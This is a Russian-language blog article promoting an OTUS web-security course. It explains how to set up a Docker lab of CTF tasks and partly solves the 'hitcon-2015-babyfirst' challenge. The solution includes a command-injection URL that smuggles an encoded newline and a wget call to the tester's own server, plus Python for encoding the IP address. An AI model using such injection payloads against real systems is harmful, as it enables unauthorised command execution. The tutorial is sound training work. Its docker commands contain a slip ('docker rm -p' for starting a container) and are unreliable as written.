Уже 3 ноября в OTUS пройдет день открытых дверей по курсу "Безопасность веб-приложений", в рамках которого вы сможете подробно узнать о курсе и пообщаться с нашими экспертами. А прямо сейчас хотим поделиться с вами авторской статьёй эксперта OTUS, вирусного аналитика в международной компании - Александра Колесникова, которая была написана специально для студентов курса.


Статья описывает процесс создания тестовой среды для изучения веб-уязвимостей с использованием технологий виртуализации. В качестве инструмента для виртуализации будет использован Docker. Соберем с помощью этой технологии лабораторный стенд, который позволит нам изучить уязвимости из OWASP Top 10 (и не только).  Полученные результаты можно будет использовать для самостоятельного изучения уязвимостей и проведения экспериментов.

Docker для исследований

«Виртуализация средствами операционной системы» - это самое распространенное определение для инструмента Docker, которое можно найти в сети. Его используют для упрощения настройки зависимостей и создания беспрерывного цикла разработки, но начинающим исследователям безопасности он может помочь еще и в освоении новых подходов к тестированию веб-приложений. Для наших исследований мы будем использовать версию для операционной системы Linux. Найти инструкцию по установке можно здесь.

Для наших экспериментов необходимо познакомиться с минимальным набором команд:


1. Команды для сборки/загрузки Image:

  • docker build dirName -t tagName

  • docker pull ImageNameOnResourse

  • docker load -i CompressedImageName.tar


    2. Команды для запуска контейнеров:

  • docker run someparams imageName, someparams - набор параметров необходимых для работы контейнера


  • Команды для настройки сети:

3. Команды настройки сети:

docker network create NetworkName - команда для создания новой сети. Можно создать виртуальную(bridge), которая будет работать только напрямую с хостом.Можно создать сеть, которая будет использоваться для доступа к локальной сети(host).

Пишем/ищем задания

Самый сложный вопрос, который нужно решить - как найти уязвимое приложение, тестирование которого хотим провести? Писать самостоятельно задание для конкретной уязвимости дело очень долгое и зачастую неподъемное для начинающих исследователей. Безусловно, существуют готовые наборы заданий, которые можно найти здесь и здесь. С использованием этих двух наборов заданий создано большое количество мануалов и курсов. Все задания удается просмотреть за минут 20-30, а ощущения, что теперь все ясно и можно попробовать свои силы на площадках bugbounty, нет. 

Попробуем поискать задания с помощью google dork: «site:github.com web+ctf+DockerFile». Пример выдачи поисковика представлен ниже:

Остановим совой выбор на вот этом репозитории (можно брать любой):

Задания представляют собой несколько категорий, как можно видеть из списка директорий в репозитории. Среди тех, которые попались нам - RCE, SSRF, Unserialization, File-Inclusion. Все темы достаточно сложные и многогранные, значит будет интереснее их изучать.

Тестирование работоспособности заданий

Начнем с базовых требований, которые должны быть выполнены, чтобы найденное задание «взлетело». Список довольно прост:

  1.  Обязательные файлы:

    1. Dockerfile - набор команд, которые позволяют собрать Image.

    2. Исходные тексты уязвимого приложения. Могут быть написаны на любом языке программирования.

  2. Опциональные файлы:

    1. docker-compose.yml - файл, который позволяет проводить сборку Image и запуск контейнера. Этим файлом можно автоматизировать вообще весь процесс развертывания уязвимого приложения.

    2. Скрипты для запуска контейнера, сборки Image

    3. Тестовые скрипты для работы с запущенным контейнером. Обычно добавляются, когда задание уже использовалось во время соревнований.

Что делать если файлов для сборки? - Достаточно перейти в директорию задания, где располагается файл Dockerfile и запустить команду сборки Image, о которой было написано выше.

Что делать если файлов для запуска нет? - Снова переходим в директорию с файлом Dockerfile, открываем его в любимом текстовом редакторе и прокручиваем его до самого конца. Для первого RCE задания из выбранного репозитория Dockerfile выглядит вот так:

Наибольший интерес представляют строки, которые начинаются с команд - «EXPOSE, CMD». Это строки, которые описывают какой порт на каком интерфейсе сделать общим с операционной системой и какую команду выполнить как только запустится контейнер. Например, для запуска контейнера, который будет содержать работоспособное приложение, нужно выполнить команду: docker rm -p 8002:80 ImageName. Проверить состояние контейнера можно командой docker ps. Вывод будет примерно таким:

 Время решать задания!

Поиск уязвимостей

Проверим первое приложение из выбранного нами репозитория. Задание называется «hitcon-2015-babyfirst» из названия можно понять, что это задание уже фигурировало в соревновании по информационной безопасности CTF. Попробуем его решить.

Запустив контейнер, мы можем найти приложение по адресу машины, на которой установлен Docker, обратившись к порту 8002. Получаем вот такой ответ от сервера:

Приложение представляет собой тестовую песочницу, которая запускает команды в командной строке операционной системы. Но, перед тем как передать параметры для выполнения команды, они проходят фильтрацию с помощью регулярного выражения. Попробуем понять, что это выражение ищет. Будем использовать вот этот ресурс.

Выражение соответствует данным, которые разделены переносом строки. Поэтому запрос в URL можно описать следующим образом:

  • http://10.0.3.4:8002/?args=test

Никакого ответа от приложения мы не получили. Тестировать приложение вслепую не хочется, поэтому попробуем использовать метод тестирования, который называется OAST. Подход подразумевает, что мы используем сторонний сервер для получения ответа от веб-приложения. Попробуем воспроизвести тест, используя  простую команду «wget http://10.0.3.8/». Подготовим сервер:

  • python -m SimpleHTTPServer 80

Команду нужно каким-то образом закодировать, чтобы приложение запустило ее в операционной системе. Воспользуемся особенностями языка программирования php. Любую переменную, которая передается в URL строке можно использовать как массив: var[]. Но чтобы было возможно запустить команду, нужно все таки использовать перенос строки. Его можно закодировать следующим образом ‘%0a’. URL модифицируется следующим образом:

  • http://10.0.3.4:8002/?args[]=test%0a&args[]=wget&args[]=10.0.3.8

Осталось выполнить еще одну модификацию - перевести ip адрес в то, что будет корректно обрабатываться в URL:

import struct
import socket

data = socket.inet_aton(«10.0.3.8»)
struct.unpack("!L", data)[0]

В итоге получаем вот такой запрос:

  • http://10.0.3.4:8002/?args[]=test%0a&args[]=wget&args[]=167772936

Если все было закодирована верно, то мы получаем запрос на наш сервер:

Дальнейшие действия оставим для собственного изучения. Для завершения задания сталось написать скрипт, через который можно вычитать все данные из файловой системы.

Вот так, используя простые инструменты можно разнообразить устаревшие задания для поиска уязвимостей.

Disclamer: Все права на задания принадлежат их авторам. Подробную информацию можно найти в соответствующих репозиториях.


Узнать подробнее о курсе.